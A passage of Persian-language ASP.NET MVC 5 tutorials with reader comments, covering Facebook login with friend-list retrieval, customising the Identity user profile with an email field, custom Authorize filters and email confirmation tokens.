از خط 10 تا 17 رویداد OnAuthenticated را مدیریت می‌کنیم که از طرف Facebook OWIN authentication اجرا می‌شود. این متد هر بار که کاربری با فیسبوک خودش را احراز هویت می‌کند فراخوانی می‌شود. پس از آنکه کاربر احراز هویت شد و به اپلیکیشن سطح دسترسی لازم را اعطا کرد، تمام داده‌ها در FacebookContext ذخیره می‌شوند.

خط 14 شناسه FacebookAccessToken را ذخیره می‌کند. ما این آبجکت را از فیسبوک دریافت کرده و از آن برای دریافت لیست دوستان کاربر استفاده می‌کنیم.

نکته: در این مثال تمام داده‌ها بصورت Claims ذخیره می‌شوند، اما اگر بخواهید می‌توانید از ASP.NET Identity برای ذخیره آنها در دیتابیس استفاده کنید.

در قدم بعدی لیست دوستان کاربر را از فیسبوک درخواست می‌کنیم. ابتدا فایل Views/Shared/_LoginPartial.cshtml را باز کنید و لینک زیر را به آن بیافزایید.

```
<li>
     @Html.ActionLink("FacebookInfo", "FacebookInfo","Account")
</li>
```

هنگامی که کاربری وارد سایت می‌شود و این لینک را کلیک می‌کند، ما لیست دوستان او را از فیسبوک درخواست می‌کنیم و بهمراه عکس‌های پروفایل شان آنها را لیست می‌کنیم.

تمام Claimها را از **UserIdentity** بگیرید و آنها را در دیتابیس ذخیره کنید. در این قطعه کد ما تمام Claim هایی که توسط OWIN دریافت کرده ایم را می‌خوانیم، و شناسه FacebookAccessToken را در دیتابیس عضویت ASP.NET Identity ذخیره می‌کنیم.

```
//
        // GET: /Account/LinkLoginCallback
        publicasyncTask<ActionResult> LinkLoginCallback()
        {
            var loginInfo = await AuthenticationManager.GetExternalLoginInfoAsync(XsrfKey,
User.Identity.GetUserId());
            if (loginInfo == null)
            {
                return RedirectToAction("Manage", new { Message = ManageMessageId.Error });
            }
            var result = await UserManager.AddLoginAsync(User.Identity.GetUserId(), loginInfo.Login);
            if (result.Succeeded)
            {
                var currentUser = await UserManager.FindByIdAsync(User.Identity.GetUserId());
                //Add the Facebook Claim
                await StoreFacebookAuthToken(currentUser);
                return RedirectToAction("Manage");
            }
            return RedirectToAction("Manage", new { Message = ManageMessageId.Error });
        }
```

خط 14-15 شناسه FacebookAccessToken را در دیتابیس ذخیره می‌کند.

StoreFacebookAuthToken تمام اختیارات (claim)های کاربر را از UserIdentity می‌گیرد و Access Token را در قالب یک User Claim در دیتابیس ذخیره می‌کند. اکشن LinkLoginCallback هنگامی فراخوانی می‌شود که کاربر وارد سایت شده و یک تامین کننده دیگر را می‌خواهد تنظیم کند.

اکشن ExternalLoginConfirmation هنگام اولین ورود شما توسط تامین کنندگان اجتماعی مانند فیسبوک فراخوانی می‌شود.

در خط 26 پس از آنکه کاربر ایجاد شد ما یک FacebookAccessToken را بعنوان یک Claim برای کاربر ذخیره می‌کنیم.

```
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> ExternalLoginConfirmation(ExternalLoginConfirmationViewModel model,
string returnUrl)
        {
            if (User.Identity.IsAuthenticated)
            {
                return RedirectToAction("Manage");
            }

            if (ModelState.IsValid)
            {
                // Get the information about the user from the external login provider
                var info = await AuthenticationManager.GetExternalLoginInfoAsync();
                if (info == null)
                {
                    return View("ExternalLoginFailure");
                }
                var user = newApplicationUser() { UserName = model.Email };
                var result = await UserManager.CreateAsync(user);
                if (result.Succeeded)
                {
                    result = await UserManager.AddLoginAsync(user.Id, info.Login);
                    if (result.Succeeded)
                    {
                        await StoreFacebookAuthToken(user);
                        await SignInAsync(user, isPersistent: false);
                        return RedirectToLocal(returnUrl);
                    }
                }
                AddErrors(result);
            }

            ViewBag.ReturnUrl = returnUrl;
```

```
            return View(model);
        }
```

اکشن **ExternalLoginCallback** هنگامی فراخوانی می‌شود که شما برای اولین بار یک کاربر را به یک تامین کننده اجتماعی اختصاص می‌دهید. در خط 17 شناسه دسترسی فیسبوک را بصورت یک claim برای کاربر ذخیره می‌کنیم.

```
//
        // GET: /Account/ExternalLoginCallback
        [AllowAnonymous]
        publicasyncTask<ActionResult> ExternalLoginCallback(string returnUrl)
        {
            var loginInfo = await AuthenticationManager.GetExternalLoginInfoAsync();
            if (loginInfo == null)
            {
                return RedirectToAction("Login");
            }

            // Sign in the user with this external login provider if the user already has a login
            var user = await UserManager.FindAsync(loginInfo.Login);
            if (user != null)
            {
                //Save the FacebookToken in the database if not already there
                await StoreFacebookAuthToken(user);
                await SignInAsync(user, isPersistent: false);
                return RedirectToLocal(returnUrl);
            }
            else
            {
                // If the user does not have an account, then prompt the user to create an account
                ViewBag.ReturnUrl = returnUrl;
                ViewBag.LoginProvider = loginInfo.Login.LoginProvider;
                return View("ExternalLoginConfirmation", newExternalLoginConfirmationViewModel { Email
= loginInfo.Email });
            }
        }
```

در آخر شناسه FacebookAccessToken را در دیتابیس ASP.NET Identity ذخیره کنید.

```
privateasyncTask StoreFacebookAuthToken(ApplicationUser user)
        {
            var claimsIdentity = await
AuthenticationManager.GetExternalIdentityAsync(DefaultAuthenticationTypes.ExternalCookie);
            if (claimsIdentity != null)
            {
                // Retrieve the existing claims for the user and add the FacebookAccessTokenClaim
                var currentClaims = await UserManager.GetClaimsAsync(user.Id);
                var facebookAccessToken = claimsIdentity.FindAll("FacebookAccessToken").First();
                if (currentClaims.Count() <=0 )
                {
                    await UserManager.AddClaimAsync(user.Id, facebookAccessToken);
                }
```

پکیج Facebook C#SDK را نصب کنید. http://nuget.org/packages/Facebook

فایل AccountViewModel.cs را باز کنید و کد زیر را اضافه کنید.

```
public class FacebookViewModel
     {
         [Required]
         [Display(Name = "Friend's name")]
         public string Name { get; set; }

        public string ImageURL { get; set; }
    }
```

کد زیر را به کنترلر Account اضافه کنید تا عکس‌های دوستان تان را دریافت کنید.

```
//GET: Account/FacebookInfo
[Authorize]
publicasyncTask<ActionResult> FacebookInfo()
{
    var claimsforUser = await UserManager.GetClaimsAsync(User.Identity.GetUserId());
    var access_token = claimsforUser.FirstOrDefault(x => x.Type == "FacebookAccessToken").Value;
    var fb = newFacebookClient(access_token);
    dynamic myInfo = fb.Get("/me/friends");
    var friendsList = newList<FacebookViewModel>();
    foreach (dynamic friend in myInfo.data)
    {
        friendsList.Add(newFacebookViewModel()
           {
               Name = friend.name,
               ImageURL = @"https://graph.facebook.com/" + friend.id + "/picture?type=large"
           });
    }

    return View(friendsList);
}
```

در پوشه Views/Account یک نمای جدید با نام FacebookInfo.cshtml بسازید و کد Markup آن را مطابق لیست زیر تغییر دهید.

```
@model IList<WebApplication96.Models.FacebookViewModel>
 @if (Model.Count > 0)
 {
     <h3>List of friends</h3>
     <div class="row">
             @foreach (var friend in Model)
             {
               <div class="col-md-3">
                <a href="#" class="thumbnail">
                  <img src=@friend.ImageURL alt=@friend.Name />
                 </a>
               </div>
              }
     </div>
 }
```

در این مرحله، شما می‌توانید لیست دوستان خود را بهمراه عکس‌های پروفایل شان دریافت کنید.

پروژه را اجرا کنید و توسط Facebook وارد سایت شوید. باید به سایت فیسبوک هدایت شوید تا احراز هویت کنید و دسترسی لازم را به اپلیکیشن اعطا کنید. پس از آن مجددا به سایت خودتان باید هدایت شوید.

حال هنگامی که روی لینک FacebookInfo کلیک می‌کنید باید صفحه ای مشابه تصویر زیر ببینید.

این یک مثال ساده از کار کردن با تامین کنندگان اجتماعی بود. همانطور که مشاهده می‌کنید، براحتی می‌توانید داده‌های بیشتری برای کاربر جاری درخواست کنید و تجربه کاربری و امکانات بسیار بهتری را در اپلیکیشن خود فراهم کنید.

نظرات خوانندگان

نویسنده: حامد شیربندی
تاریخ: ۱۳۹۳/۱۱/۲۹ ۱۹:۳

با سلام و تشکر
توی دریافت اطلاعات لیست دوستان از فیسبوک باید دقت داشت که طبق مستندات فیسبوک برای Graph API در اینجا ما فقط به اطلاعات دوستانی دسترسی خواهیم داشت که از Facebook Login استفاده کرده باشند.
البته این نکته رو هم باید اضافه کنم که برای دسترسی به هر اطلاعاتی از اکانت فیسبوک کاربر، باید مجوزش رو هم ارسال کنیم
بنابراین برای دریافت اطلاعات مربوط به لیست دوستان باید دستور زیر رو هم به کلاس startUp اضافه کنیم

```
x.Scope.Add("user_friends");
```

برای اطلاع از نام کل مجوزها و حتی تست اونها برای دریافت اطلاعات اکانت از Graph API Explorer استفاده کنید.

عنوان: **سفارشی کردن ASP.NET Identity در MVC 5**
نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۹ ۱۹:۵۰
آدرس: www.dotnettips.info
گروه‌ها: Entity framework, MemberShip, ASP.NET MVC 5, ASP.NET Identity, MVC, Security

یکی از نیازهای رایج توسعه دهندگان هنگام استفاده از سیستم عضویت ASP.NET سفارشی کردن الگوی داده‌ها است. مثلا ممکن است بخواهید یک پروفایل سفارشی برای کاربران در نظر بگیرید، که شامل اطلاعات شخصی، آدرس و تلفن تماس و غیره می‌شود. یا ممکن است بخواهید به خود فرم ثبت نام فیلدهای جدیدی اضافه کنید و آنها را در رکورد هر کاربر ذخیره کنید.
یکی از مزایای ASP.NET Identity این است که بر پایه EF Code First نوشته شده است. بنابراین سفارشی سازی الگوی دیتابیس و اطلاعات کاربران ساده است.
یک اپلیکیشن جدید ASP.NET MVC بسازید و نوع احراز هویت را Individual User Accounts انتخاب کنید. پس از آنکه پروژه جدید ایجاد شد فایل IdentityModels.cs را در پوشه Models باز کنید. کلاسی با نام *ApplicationUser* مشاهده می‌کنید که همتای *UserProfile* در فریم ورک SimpleMembership است. این کلاس خالی است و از کلاس *IdentityUser* ارث بری می‌کند و شامل خواص زیر است.

```
public class IdentityUser : IUser
    {
        public IdentityUser();
        public IdentityUser(string userName);

        public virtual ICollection<identityuserclaim> Claims { get; }
        public virtual string Id { get; set; }
        public virtual ICollection<identityuserlogin> Logins { get; }
        public virtual string PasswordHash { get; set; }
        public virtual ICollection<identityuserrole> Roles { get; }
        public virtual string SecurityStamp { get; set; }
        public virtual string UserName { get; set; }
    }
```

اگر دقت کنید خواهید دید که فیلد Id بر خلاف SimpleMembership یک عدد صحیح یا int نیست، بلکه بصورت یک رشته ذخیره می‌شود. پیاده سازی پیش فرض ASP.NET Identity مقدار این فیلد را با یک GUID پر می‌کند. در این پست تنها یک فیلد آدرس ایمیل به کلاس کاربر اضافه می‌کنیم. با استفاده از همین فیلد در پست‌های آتی خواهیم دید چگونه می‌توان ایمیل‌های تایید ثبت نام برای کاربران ارسال کرد. کلاس ApplicationUser بدین شکل خواهد بود.

```
public class ApplicationUser : IdentityUser
{
    public string Email { get; set; }
}
```

حال برای آنکه کاربر بتواند هنگام ثبت نام آدرس ایمیل خود را هم وارد کند، باید مدل فرم ثبت نام را بروز رسانی کنیم.

```
public class RegisterViewModel
{
    [Required]
    [Display(Name = "User name")]
    public string UserName { get; set; }

    [Required]
    [StringLength(100, ErrorMessage = "The {0} must be at least {2} characters long.", MinimumLength =
6)]
    [DataType(DataType.Password)]
    [Display(Name = "Password")]
    public string Password { get; set; }

    [DataType(DataType.Password)]
    [Display(Name = "Confirm password")]
    [Compare("Password", ErrorMessage = "The password and confirmation password do not match.")]
    public string ConfirmPassword { get; set; }

    [Required]
    [Display(Name = "Email address")]
```

```
    public string Email { get; set; }

}
```

سپس فایل View را هم بروز رسانی می‌کنیم تا یک برچسب و تکست باکس برای آدرس ایمیل نمایش دهد.

```
<div class="form-group">
     @Html.LabelFor(m => m.Email, new { @class = "col-md-2 control-label" })
     <div class="col-md-10">
         @Html.TextBoxFor(m => m.Email, new { @class = "form-control" })
     </div>
 </div>
```

برای تست این تغییرات، صفحه About را طوری تغییر می‌دهید تا آدرس ایمیل کاربر جاری را نمایش دهد. این قسمت همچنین نمونه ای از نحوه دسترسی به اطلاعات کاربران است.

```
public ActionResult About()
{
    ViewBag.Message = "Your application description page.";
    UserManager<ApplicationUser> UserManager = new UserManager<ApplicationUser>(new
UserStore<ApplicationUser>(new ApplicationDbContext()));
    var user = UserManager.FindById(User.Identity.GetUserId());
    if (user != null)
        ViewBag.Email = user.Email;
    else
        ViewBag.Email = "User not found.";

    return View();
}
```

همین! تمام کاری که لازم بود انجام دهید همین بود. از آنجا که سیستم ASP.NET Identity توسط Entity Framework مدیریت می‌شود، روی الگوی دیتابیس سیستم عضویت کنترل کامل دارید. بنابراین به سادگی می‌توانید با استفاده از قابلیت Code First مدل‌های خود را سفارشی کنید.

در پست‌های آتی این مطلب را ادامه خواهیم داد تا ببینیم چگونه می‌توان ایمیل‌های تاییدیه برای کاربران ارسال کرد.

نظرات خوانندگان

نویسنده: رجایی
تاریخ: ۱۳۹۲/۱۱/۰۸ ۱۹:۲۰

سلام؛ از زحماتتون بسیار تشکر می‌کنم. من وب سایت را به روش چند لایه‌ی مرسوم می‌سازم:

data layer - domain models - website - service layer

با توجه به آن چگونه می‌توان از asp.net identity استفاده کرد؟ زیرا مثلا نیاز است از کلید جدول users در مدل‌های دیگه استفاده شود. آیا این کلید را باید در لایه دومین استفاده کرد؟

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۱/۰۸ ۲۳:۴۵

موجودیت‌های مربوط به ASP.NET Identity رو در لایه مدل‌ها قرار بدین و از یک DbContext استفاده کنید. یعنی DbSetهای مدل برنامه و Identity رو در یک کانتکست تعریف کنید.

نویسنده: رجایی
تاریخ: ۱۳۹۲/۱۱/۱۰ ۱۲:۴

سلام...ممنون از پاسختون.

با توجه به راهنمایی شما در قسمت context در لایه data layer بدین صورت درج کردم

```
public class Context : DbContext
    {
        public DbSet<IdentityUserClaim> AspNetUserClaims { set; get; }
        public DbSet<IdentityRole> AspNetRoles { set; get; }
        public DbSet<IdentityUserLogin> AspNetUserLogins { set; get; }
        public DbSet<IdentityUserRole> AspNetUserRoles { set; get; }
        public DbSet<IdentityUser> AspNetUsers { set; get; }
        //-------------------------------------
        protected override void OnModelCreating(DbModelBuilder modelBuilder)
        {
            base.OnModelCreating(modelBuilder);
            modelBuilder.Entity<IdentityRole>().HasKey<string>(r => r.Id).ToTable("AspNetRoles");
            modelBuilder.Entity<IdentityUser>().ToTable("AspNetUsers");
            modelBuilder.Entity<IdentityUserLogin>().HasKey(l => new { l.UserId, l.LoginProvider,
l.ProviderKey }).ToTable("AspNetUserLogins");
            modelBuilder.Entity<IdentityUserRole>().HasKey(r => new { r.RoleId, r.UserId
}).ToTable("AspNetUserRoles");
            modelBuilder.Entity<IdentityUserClaim>().ToTable("AspNetUserClaims");
        }
    }
```

ولی وقتی سایت اجرا می‌شود ایراد زیر نمایش داده می‌شود

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۱/۱۰ ۱۲:۱۴

خطا رو فراموش کردید ارسال کنید.

نویسنده: مهرداد راهی
تاریخ: ۱۳۹۲/۱۱/۱۱ ۰:۵۵

سلام من MVC کار نمیکنم توی ASP.Net وب‌فرمز استفاده میکنم از این امکان. فایل IdentityModels.cs رو نداره توی پروژه .
مشکل کجاس؟
-enable migrations هم زدم خطا داد

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۱/۱۱ ۱:۵۳

از VS 2013 استفاده می‌کنی ؟

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۱/۱۱ ۲:۵۱

لازم نیست تمام این آبجکت‌ها رو به context نگاشت کنید. قالب پروژه‌های VS 2013 بصورت خودکار در پوشه Models کلاسی بنام IdentityModels میسازه. این کلاس شامل کلاسی بنام ApplicationDbContext میشه که تعریفی مانند لیست زیر داره:

```
public class ApplicationDbContext : IdentityDbContext<ApplicationUser>
{
    public ApplicationDbContext() : base("DefaultConnection") { }
}
```

این کلاس رو کلا حذف کنید، چون قراره از یک DbContext برای تمام موجودیت‌ها استفاده کنید.
کلاس ApplicationUser که معرف موجودیت کاربران هست رو در لایه دامنه‌ها تعریف کنید و دقت کنید که باید از IdentityUser ارث بری کنه، حال با نام پیش فرض یا با نام دلخواه. سپس باید کلاسی بسازید که از UserManager<T> مشتق میشه. با استفاده از این کلاس می‌تونید به موجودیت‌های کاربران دسترسی داشته باشید. بعنوان مثال:

```
public class AppUserManager : UserManager<AppUser>{
    public AppUserManager() : base(new UserStore<AppUser>(new ShirazBilitDbContext())) { }
}
```

همونطور که می‌بینید کلاس موجودیت کاربر در اینجا AppUser نام داره، پس هنگام استفاده از UserManager نوع داده رو بهش نگاشت می‌کنیم. کد کلاس AppUser هم مطابق لیست زیر خواهد بود.

```
public class AppUser : IdentityUser
{
    public string Email { get; set; }
    public string ConfirmationToken { get; set; }
    public bool IsConfirmed { get; set; }
}
```

همونطور که مشخصه کلاس کاربران سفارشی سازی شده و سه فیلد به جدول کاربران اضافه کردیم. فیلدهای بیشتر یا موجودیت پروفایل کاربران هم باید به همین کلاس افزوده بشن. اگر پست‌ها رو بیاد بیارید گفته شد که ASP.NET Identity با مدل EF Code-First کار میکنه.

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۱/۱۱ ۲:۵۷

از VS 2013 استفاده کنید و .NET 4.5.
اگر این فایل برای شما ایجاد نمیشه پس در قالب پروژه‌های Web Forms وجود نداره. ارتباطی با مهاجرت‌ها هم نداره، کلاس موجودیت کاربر رو خودتون می‌تونید ایجاد کنید. اگر به نظرات بالا مراجعه کنید گفته شد که کلاس کاربران باید از

IdentityModels ارث بری کنه.

نویسنده: رجایی
تاریخ: ۱۳۹۲/۱۱/۱۲ ۹:۲۱

عذر خواهی می‌کنم فراموش کردم. ایراد بدین صورت است:

System.InvalidOperationException: The model backing the 'Context' context has changed since the database was created. Consider using Code First Migrations to update the database (http://go.microsoft.com/fwlink/?LinkId=238269).

مشخص است که می‌گوید context تغییر می‌کند.ولی من از migration استفاده می‌کنم و codefirst ولی باز هم این ایراد رو در اتصال به دیتابیس نشان می‌دهد. من از add-migration هم استفاده می‌کنم تا تغییرات موجودیت‌ها رو کامل به من نشان دهد که چیزی را عنوان نمی‌کند.

نویسنده: افتاب
تاریخ: ۱۳۹۲/۱۲/۲۷ ۲۳:۳۸

سلام و متشکر ،
دنبال آن میگشتم که چه طوری میشه دو تا صفحه لوگین در پروژه داشت که ورودی کاربران از مدیران جدا باشد

نویسنده: افتاب
تاریخ: ۱۳۹۲/۱۲/۲۷ ۲۳:۴۴

میشه در مورد «این کلاس رو کلا حذف کنید، چون قراره از یک DbContext برای تمام موجودیت‌ها استفاده کنید....» بیشتر توضیح بفرمایید؟

نویسنده: سعید رضایی
تاریخ: ۱۳۹۳/۰۲/۰۱ ۱۶:۴۱

با عرض سلام.تو Vs2012+mvc4 نمیشه از identity استفاده کرد؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۲/۰۱ ۱۷:۲۶

خیر. با دات نت 4.5 کامپایل شده.

نویسنده: میثم سلیمانی
تاریخ: ۱۳۹۳/۰۵/۲۶ ۱۱:۷

با سلام و احترام
من دستور زیر رو تو asp.net mvc Identity sample 2 تو اکشن Login اضافه کردم

```
UserManager<ApplicationUser> UserManager = new UserManager<ApplicationUser>(new
UserStore<ApplicationUser>(new ApplicationDbContext()));
    var user = UserManager.FindById(User.Identity.GetUserId());
```

اما user و null میده !
اکشن login

```
public async Task<ActionResult> Login(LoginViewModel model, string returnUrl)
        {
            if (!ModelState.IsValid)
            {
                return View(model);
            }

            // This doen't count login failures towards lockout only two factor authentication
            // To enable password failures to trigger lockout, change to shouldLockout: true
            var result = await SignInManager.PasswordSignInAsync(model.Email, model.Password,
model.RememberMe, shouldLockout: false);
            switch (result)
            {

                case SignInStatus.Success:
                    {
                        UserManager<ApplicationUser> UserManager = new UserManager<ApplicationUser>(new
UserStore<ApplicationUser>(new ApplicationDbContext()));
                        var user = UserManager.FindById(User.Identity.GetUserId());
                        return RedirectToLocal(returnUrl);
                    }
                case SignInStatus.LockedOut:
                    return View("Lockout");
                case SignInStatus.RequiresVerification:
                    return RedirectToAction("SendCode", new { ReturnUrl = returnUrl });
                case SignInStatus.Failure:
                default:
                    ModelState.AddModelError("", "Invalid login attempt.");
                    return View(model);
            }
        }
```

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۹/۲۹ ۱۳:۴۴

« اعمال تزریق وابستگی‌ها به مثال رسمی ASP.NET Identity »

نویسنده: ایمان صالحی
تاریخ: ۱۳۹۳/۱۰/۱۷ ۱۵:۵۰

من DataSetهای مربوط به پایگاه داده خودم رو در ApplicationDbContext مینویسم و پایگاه داده اجرا میشه و مشکلی پیش نمیاد..کار هم میکنه..اما سوالم اینه که کارم از نظر استاندارد بودن مشکلی داره یا نه؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۱۰/۱۷ ۱۵:۵۶

مشکلی ندارد. ApplicationDbContext از IdentityDbContext مشتق می‌شود که آن هم از DbContext مشتق شده:

```
public class IdentityDbContext<TUser, TRole, TKey, TUserLogin, TUserRole, TUserClaim> :
DbContext where TUser : IdentityUser<TKey, TUserLogin, TUserRole, TUserClaim>
where TRole : IdentityRole<TKey, TUserRole>
where TUserLogin : IdentityUserLogin<TKey>
where TUserRole : IdentityUserRole<TKey>
where TUserClaim : IdentityUserClaim<TKey>
```

یعنی نیازی به چند DbContext سفارشی در برنامه ندارید. همان ApplicationDbContext ، در حقیقت Context اصلی کاری برنامه است.

نویسنده: سانی
تاریخ: ۱۳۹۳/۱۱/۲۵ ۱۲:۴۶

سلام

این سوال رو توی asp.net , barnamenevis هم پرسیدم. من برای Identity از sample خود MVC استفاده کردم؛ به این صورت که با استفاده از nuget آن را نصب کرم. حال توی یک لیست بازشو میخوام فقط کاربرانی را نشان دهم که یک نقش را دارند.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۱۱/۲۵ ۱۴:۵۱

مثال مطلب اعمال تزریق وابستگی‌ها به مثال رسمی ASP.NET Identity ، جهت تکمیل کلاس ApplicationRoleManager آن بهبود داده شد (^). برای نمونه :

```
public IList<ApplicationUser> GetApplicationUsersInRole(string roleName)
{
    var selectedUserIds = from role in this.Roles
                          where role.Name == roleName
                          from user in role.Users
                          select user.UserId;
    return _users.Where(applicationUser => selectedUserIds.Contains(applicationUser.Id)).ToList();
}
```

نویسنده: مهدی عطار
تاریخ: ۱۳۹۴/۰۲/۲۶ ۲۰:۱

با سلام وتشکر از مطالب خوبتون
یه سوال برام پیش اومده راجع به identity اگه قرار باشه به عنوان مثال به اکشن ویرایش محصول دسترسی مدیر بدیم و بعد بخواهیم آن را از داخل سایت تغییر دهیم نه در بخش کد نویسی چکار باید بکنیم. ممنون میشم اگه مطلب یا سایت و مقاله و راهنمایی نمایید. با تشکر

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۲/۲۷ ۱۲:۲۹

فیلتر Authorize را سفارشی سازی کنید .

نویسنده: مهدی عطار
تاریخ: ۱۳۹۴/۰۲/۲۷ ۲۲:۱۵

چطوری تو صفحه admin امکان این رو قرار بدیم که admin بتونه authorize واسه یه عملیات تعریف کنه تغییر بده حذف کنه و رولی رو به این authorize اضافه یا حذف کنه. با تشکر

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۲/۲۷ ۲۳:۳۰

سفارشی سازی فیلتر Authorize از ارث بری از AuthorizeAttribute و سپس override کردن متد

```
public override void OnAuthorization(AuthorizationContext filterContext)
```

آن شروع می‌شود. در اینجا به اطلاعاتی مانند

```
filterContext.ActionDescriptor.ControllerDescriptor.ControllerName
filterContext.ActionDescriptor.ActionName
```

و خیلی موارد دیگر (آدرس صفحه filterContext.HttpContext.Request.Url تا کاربر filterContext.HttpContext.User و غیره) دسترسی خواهید داشت.
سپس باید طراحی جدیدی را بر اساس ControllerName و ActionName پیاده سازی کنید (یک جدول جدید طراحی کنید) تا این

اکشن متدها یا کنترلرها امکان انتساب چندین Role متغیر را داشته باشند.
حالا زمانیکه این فیلتر Authorize سفارشی سازی شده بجای فیلتر Autorize اصلی استفاده می‌شود، نام اکشن متد و کنترلر جاری را از filterContext دریافت می‌کنید. سپس این دو مورد به همراه اطلاعات User جاری، پارامترهایی خواهند شد جهت کوئری گرفتن از بانک اطلاعاتی و جدولی که از آن صحبت شد.
در اینجا هر زمانیکه نیاز بود دسترسی کاربری را قطع کنید فقط کافی است نتیجه‌ی این فیلتر سفارشی را به نحو ذیل بازگردانید:

```
filterContext.Result = new HttpStatusCodeResult(403);
```

بنابراین در قسمت ادمین، یک صفحه‌ی جدید برای ثبت نام کنترلرها و اکشن متدها به همراه نقش‌های پویای آن‌ها خواهید داشت.
سپس در این فیلتر Authorize سفارشی، دقیقا مشخص است که اکنون در کدام کنترلر و اکشن متد قرار داریم. بر این اساس (و سایر پارامترهایی که می‌توان از filterContext استخراج کرد) یک کوئری گرفته می‌شود و نقش‌های پویای فیلتر Authorize دریافت می‌شوند. نقش‌های کاربر جاری هم که مشخص هستند. این‌ها را با هم مقایسه می‌کنید و خروجی 403 را درصورت عدم تطابق، تنظیم خواهید کرد.
ضمنا در صفحه‌ی طراحی انتساب نقش‌های متغیر به اکشن متدها یا کنترلرها، امکان یافتن پویای لیست آن‌ها نیز وجود دارد.

عنوان: **افزودن تصدیق ایمیل به ASP.NET Identity در MVC 5**
نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۹ ۲۱:۴۵
آدرس: www.dotnettips.info
گروه‌ها: Entity framework, Tips, ASP.NET MVC 5, ASP.NET Identity, MVC, Security

در پست قبلی نحوه سفارشی کردن پروفایل کاربران در ASP.NET Identity را مرور کردیم. اگر بیاد داشته باشید یک فیلد آدرس ایمیل به کلاس کاربر اضافه کردیم. در این پست از این فیلد استفاده میکنیم تا در پروسه ثبت نام ایمیل‌ها را تصدیق کنیم. بدین منظور پس از ثبت نام کاربران یک ایمیل فعالسازی برای آنها ارسال می‌کنیم که حاوی یک لینک است. کاربران با کلیک کردن روی این لینک پروسه ثبت نام خود را تایید می‌کنند و می‌توانند به سایت وارد شوند. پیش از تایید پروسه ثبت نام، کاربران قادر به ورود نیستند.

در ابتدا باید اطلاعات کلاس کاربر را تغییر دهید تا دو فیلد جدید را در بر گیرد. یک فیلد شناسه تایید (confirmation token) را ذخیره می‌کند، و دیگری فیلدی منطقی است که مشخص می‌کند پروسه ثبت نام تایید شده است یا خیر. پس کلاس *ApplicationUser* حالا باید بدین شکل باشد.

```
public class ApplicationUser : IdentityUser
{
    public string Email { get; set; }
    public string ConfirmationToken { get; set; }
    public bool IsConfirmed { get; set; }
}
```

اگر پیش از این کلاس ApplicationUser را تغییر داده اید، باید مهاجرت‌ها را فعال کنید و دیتابیس را بروز رسانی کنید. حالا می‌توانیم از این اطلاعات جدید در پروسه ثبت نام استفاده کنیم و برای کاربران ایمیل‌های تاییدیه را بفرستیم.

```
private string CreateConfirmationToken()
{
    return ShortGuid.NewGuid();
}

private void SendEmailConfirmation(string to, string username, string confirmationToken)
{
    dynamic email = new Email("RegEmail");
    email.To = to;
    email.UserName = username;
    email.ConfirmationToken = confirmationToken;
    email.Send();
}

//
// POST: /Account/Register
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> Register(RegisterViewModel model)
{
    if (ModelState.IsValid)
    {
        string confirmationToken = CreateConfirmationToken();
        var user = new ApplicationUser()
        {
            UserName = model.UserName,
            Email = model.Email,
            ConfirmationToken = confirmationToken,
                IsConfirmed = false };
        var result = await UserManager.CreateAsync(user, model.Password);
        if (result.Succeeded)
        {
            SendEmailConfirmation(model.Email, model.UserName, confirmationToken);
            return RedirectToAction("RegisterStepTwo", "Account");
        }
        else
        {
            AddErrors(result);
        }
    }

    // If we got this far, something failed, redisplay form
```

```
    return View(model);
}
```

برای تولید شناسه‌های تایید (tokens) از کلاسی بنام *ShortGuid* استفاده شده است. این کلاس یک مقدار GUID را encode می‌کند که در نتیجه آن مقدار خروجی کوتاه‌تر بوده و برای استفاده در URLها ایمن است. کد این کلاس را از این وبلاگ گرفته ام. پس از ایجاد حساب کاربری باید شناسه تولید شده را به آن اضافه کنیم و مقدار فیلد IsConfirmed را به false تنظیم کنیم. برای تولید ایمیل‌ها من از Postal استفاده می‌کنم. Postal برای ساختن ایمیل‌های دینامیک شما از موتور Razor استفاده می‌کند. می‌توانید ایمیل‌های ساده (plain text) یا HTML بسازید، عکس و فایل در آن درج و ضمیمه کنید و امکانات بسیار خوب دیگر. اکشن متد RegisterStepTwo تنها کاربر را به یک View هدایت می‌کند که پیامی به او نشان داده می‌شود.

بعد از اینکه کاربر ایمیل را دریافت کرد و روی لینک تایید کلیک کرد به اکشن متد *RegisterConfirmation* باز می‌گردیم.

```
private bool ConfirmAccount(string confirmationToken)
{
    ApplicationDbContext context = new ApplicationDbContext();
    ApplicationUser user =  context.Users.SingleOrDefault(u => u.ConfirmationToken ==
confirmationToken);
    if (user != null)
    {
        user.IsConfirmed = true;
        DbSet<ApplicationUser> dbSet = context.Set<ApplicationUser>();
        dbSet.Attach(user);
        context.Entry(user).State = EntityState.Modified;
        context.SaveChanges();

        return true;
    }
    return false;
}

[AllowAnonymous]
public ActionResult RegisterConfirmation(string Id)
{
    if (ConfirmAccount(Id))
    {
        return RedirectToAction("ConfirmationSuccess");
    }
    return RedirectToAction("ConfirmationFailure");
}
```

متد *ConfirmAccount* سعی می‌کند کاربری را در دیتابیس پیدا کند که شناسه تاییدش با مقدار دریافت شده از URL برابر است. اگر این کاربر پیدا شود، مقدار خاصیت IsConfirmed را به true تغییر می‌دهیم و همین مقدار را به تابع باز می‌گردانیم. در غیر اینصورت false بر می‌گردانیم. اگر کاربر تایید شده است، می‌تواند به سایت وارد شود. برای اینکه مطمئن شویم کاربران پیش از تایید ایمیل شان نمی‌توانند وارد سایت شوند، باید اکشن متد *Login* را کمی تغییر دهیم.

```
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> Login(LoginViewModel model, string returnUrl)
{
    if (ModelState.IsValid)
    {
